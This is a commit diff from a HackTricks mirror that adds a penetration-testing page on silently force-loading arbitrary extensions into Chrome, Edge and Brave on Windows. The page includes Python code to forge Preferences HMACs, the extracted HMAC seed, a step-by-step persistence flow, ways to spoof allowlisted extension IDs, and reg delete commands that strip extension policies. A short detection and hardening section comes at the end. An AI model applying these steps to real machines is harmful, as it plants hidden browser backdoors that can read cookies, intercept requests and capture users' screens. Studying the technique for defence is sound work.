mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: The Phantom Extension: Backdooring chrome through uncharted ...
- Remove searchindex.js (auto-generated file)
This commit is contained in:
parent
74cc86ad2c
commit
504d0634d6
File diff suppressed because one or more lines are too long
@ -583,6 +583,7 @@
|
||||
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
|
||||
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
|
||||
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
|
||||
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
|
||||
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
|
||||
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
|
||||
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
|
||||
|
@ -692,6 +692,14 @@ In order to try to spot vulnerable browser extensions you could use the[https://
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
```
|
||||
|
||||
## Post-exploitation: Forced extension load & persistence (Windows)
|
||||
|
||||
Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags.
|
||||
|
||||
{{#ref}}
|
||||
forced-extension-load-preferences-mac-forgery-windows.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Audit Checklist
|
||||
|
||||
Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:
|
||||
@ -761,5 +769,3 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu
|
||||
- [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -0,0 +1,226 @@
|
||||
# Forced Extension Load & Preferences MAC Forgery (Windows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts.
|
||||
|
||||
> Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
|
||||
|
||||
|
||||
## Where extension state lives (Windows)
|
||||
|
||||
- Non–domain‑joined Chrome profile:
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
|
||||
- Domain‑joined Chrome profile:
|
||||
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
|
||||
- Key nodes used by Chromium:
|
||||
- extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
|
||||
- protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
|
||||
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
|
||||
|
||||
Simplified schema (illustrative):
|
||||
|
||||
```json
|
||||
{
|
||||
"extensions": {
|
||||
"settings": {
|
||||
"<extension_id>": {
|
||||
"name": "Extension name",
|
||||
"manifest_version": 3,
|
||||
"version": "1.0",
|
||||
"key": "<BASE64 DER SPKI>",
|
||||
"path": "<absolute path if unpacked>",
|
||||
"state": 1,
|
||||
"from_bookmark": false,
|
||||
"was_installed_by_default": false
|
||||
// ...rest of manifest.json + required install metadata
|
||||
}
|
||||
},
|
||||
"ui": { "developer_mode": true }
|
||||
},
|
||||
"protection": {
|
||||
"macs": {
|
||||
"extensions": {
|
||||
"settings": { "<extension_id>": "<MAC>" },
|
||||
"ui": { "developer_mode": "<MAC>" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).
|
||||
|
||||
|
||||
## Extension IDs: path vs key and making them deterministic
|
||||
|
||||
Chromium derives the extension ID as follows:
|
||||
- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
|
||||
- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
|
||||
|
||||
To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.
|
||||
|
||||
Helper to generate a deterministic ID and a key pair:
|
||||
|
||||
```python
|
||||
import base64
|
||||
import hashlib
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||
|
||||
def translate_crx_id(s: str) -> str:
|
||||
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
|
||||
return ''.join(t.get(c, c) for c in s)
|
||||
|
||||
def generate_extension_keys() -> tuple[str,str,str]:
|
||||
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
||||
pub = priv.public_key()
|
||||
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo)
|
||||
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
|
||||
pub_b64 = base64.b64encode(spki).decode('utf-8')
|
||||
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption())
|
||||
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
|
||||
return crx_id, pub_b64, priv_b64
|
||||
|
||||
print(generate_extension_keys())
|
||||
```
|
||||
|
||||
Add the generated public key into your manifest.json to lock the ID:
|
||||
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "Synacktiv extension",
|
||||
"version": "1.0",
|
||||
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## Forging Preferences integrity MACs (core bypass)
|
||||
|
||||
Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139.
|
||||
|
||||
Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds):
|
||||
|
||||
```bash
|
||||
python3 pak_util.py extract resources.pak -o resources_v139/
|
||||
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
|
||||
# compare a clean vs minimally modified resources.pak to spot the seed holder
|
||||
xxd -p resources_v139/146
|
||||
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
|
||||
```
|
||||
|
||||
Compute MACs (uppercase hex) as:
|
||||
|
||||
```text
|
||||
ext_mac = HMAC_SHA256(seed,
|
||||
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
|
||||
|
||||
devmode_mac = HMAC_SHA256(seed,
|
||||
"extensions.ui.developer_mode" + ("true" or "false"))
|
||||
```
|
||||
|
||||
Minimal Python example:
|
||||
|
||||
```python
|
||||
import json, hmac, hashlib
|
||||
|
||||
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
|
||||
seed = bytes.fromhex(seed_hex)
|
||||
# Compact JSON to match Chromium serialization closely
|
||||
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
|
||||
msg = (pref_path + val).encode('utf-8')
|
||||
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
|
||||
|
||||
# Example usage
|
||||
settings_path = f"extensions.settings.{crx_id}"
|
||||
devmode_path = "extensions.ui.developer_mode"
|
||||
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
|
||||
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
|
||||
```
|
||||
|
||||
Write the values under:
|
||||
- protection.macs.extensions.settings.<crx_id> = ext_mac
|
||||
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
|
||||
|
||||
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
|
||||
|
||||
> Implementation tips
|
||||
> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
|
||||
> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
|
||||
|
||||
|
||||
## End‑to‑end silent load flow (Windows)
|
||||
|
||||
1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
|
||||
2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
|
||||
3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
|
||||
4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
|
||||
|
||||
|
||||
## Bypassing enterprise controls
|
||||
|
||||
- Whitelisted extension hash spoofing (ID spoofing)
|
||||
1) Install an allowed Web Store extension and note its ID
|
||||
2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
|
||||
3) Set that key as manifest.key in your modified extension to reproduce the same ID
|
||||
4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
|
||||
|
||||
- Extension stomping (ID collision precedence)
|
||||
- If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
|
||||
|
||||
- Neutralizing GPO via HKCU (requires admin)
|
||||
- Chrome/Edge policies live under HKCU\Software\Policies\*
|
||||
- With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
|
||||
|
||||
```powershell
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
|
||||
```
|
||||
|
||||
|
||||
## Noisy fallback: command-line loading
|
||||
|
||||
From Chromium ≥137, --load-extension requires also passing:
|
||||
|
||||
```text
|
||||
--disable-features=DisableLoadExtensionCommandLineSwitch
|
||||
```
|
||||
|
||||
This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
|
||||
|
||||
Related flags and more cross‑platform tricks are discussed here:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Operational impact
|
||||
|
||||
Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.
|
||||
|
||||
|
||||
## Detection and hardening
|
||||
|
||||
- Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries
|
||||
- Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries
|
||||
- Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management
|
||||
- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
|
||||
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
|
||||
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
|
||||
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user